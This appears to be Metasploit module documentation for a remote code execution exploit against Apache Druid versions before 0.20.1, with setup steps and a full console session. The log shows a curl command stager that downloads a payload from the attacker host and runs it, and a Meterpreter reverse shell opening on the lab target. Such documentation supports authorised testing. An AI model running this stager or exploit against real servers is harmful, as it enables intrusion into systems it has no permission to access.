## Vulnerable Application Apache Druid versions prior to `v0.20.1` ### Description Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests; however, that feature is disabled by default. In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request that both enables the JavaScript code-execution feature and executes the supplied code all at once, allowing for code execution on the server with the privileges of the Druid Server process. More critically, authentication is not enabled in Apache Druid by default. The issue has been fixed in Apache Druid `v0.20.1` This module has been tested successfully against the following versions: Apache Druid 0.15.1 Debian 9.11 (Linux 3.10.0-957.21.3.el7.x86_64) Apache Druid 0.16.0-iap8 Ubuntu 16.04 (Linux 3.10.0-957.27.2.el7.x86_64) Apache Druid 0.17.1 CentOS 8.2.2004 (Core) (Linux 4.18.0-193.28.1.el8_2.x86_64) Apache Druid 0.18.0-iap3 Debian 9.12 (Linux 4.19.0-0.bpo.8-amd64) Apache Druid 0.19.0-iap7 Ubuntu 18.04 (Linux 4.14.193-149.317.amzn2.x86_64) Apache Druid 0.20.0-iap4.1 Ubuntu 18.04 (Linux 4.19.112+) Apache Druid 0.21.0-iap3 CentOS 7.9.2009 (Linux 3.10.0-1160.15.2.el7.x86_64) ### Setup A Docker container is available [here](https://hub.docker.com/r/fokkodriesprong/docker-druid) To setup and run: `docker pull fokkodriesprong/docker-druid` `docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid` For a manual setup: * Download a vulnerable version of Apache Druid from [here](https://archive.apache.org/dist/druid/) * Extract the downloaded archive * Ensure a supported version of Java is installed on the system * Start Apache Druid: `bin/start-nano-quickstart` ## Verification Steps 1. Install the application 2. Start msfconsole 3. Do: `use exploit/linux/http/apache_druid_js_rce` 4. Do: `set rhosts ` 5. Do: `set lhost ` 6. Do: `set lport/srvport ` if necessary 7. Do: `run` 8. You should get a shell. ## Targets ### 0 (Linux Dropper) This uses a Linux dropper to execute code. ### 1 (Unix Command) This executes a Unix command. ## Options ### TARGETURI The base path to the Apache Druid application. This is set to `/` by default. ## Scenarios ### Apache Druid 0.20.0-iap4.1 on SaltStack Salt 3002.2 on Ubuntu 18.04 (Linux 4.19.112+) ``` msf6 > use exploit/linux/http/apache_druid_js_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/apache_druid_js_rce) > set rhosts 10.100.70.2 rhosts => 10.100.70.2 msf6 exploit(linux/http/apache_druid_js_rce) > set rport 8888 rport => 8888 msf6 exploit(linux/http/apache_druid_js_rce) > set verbose true verbose => true msf6 exploit(linux/http/apache_druid_js_rce) > options Module options (exploit/linux/http/apache_druid_js_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.100.70.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 8888 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.100.70.1 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Linux (dropper) msf6 exploit(linux/http/apache_druid_js_rce) > run [*] Started reverse TCP handler on 10.100.70.1:4444 [*] Using URL: http://0.0.0.0:8080/NCId0EEi0G9 [*] Local IP: http://10.100.70.1:8080/NCId0EEi0G9 [*] Generated command stager: ["curl -so /tmp/cdAZJjlU http://10.100.70.1:8080/NCId0EEi0G9;chmod +x /tmp/cdAZJjlU;/tmp/cdAZJjlU;rm -f /tmp/cdAZJjlU"] [*] Executing command /bin/bash`@~-c`@~curl -so /tmp/cdAZJjlU http://10.100.70.1:8080/NCId0EEi0G9;chmod +x /tmp/cdAZJjlU;/tmp/cdAZJjlU;rm -f /tmp/cdAZJjlU ...... [*] Client 10.100.70.2 (curl/7.58.0) requested /NCId0EEi0G9 [*] Sending payload to 10.100.70.2 (curl/7.58.0) [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3008420 bytes) to 10.100.70.2 [*] Meterpreter session 2 opened (10.100.70.1:4444 -> 10.100.70.2:59996) at 2021-03-31 10:56:03 +0800 [*] Command Stager progress - 100.00% done (119/119 bytes) [*] Server stopped. meterpreter > sysinfo Computer : 10.100.70.2 OS : Ubuntu 18.04 (Linux 4.19.112+) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux ```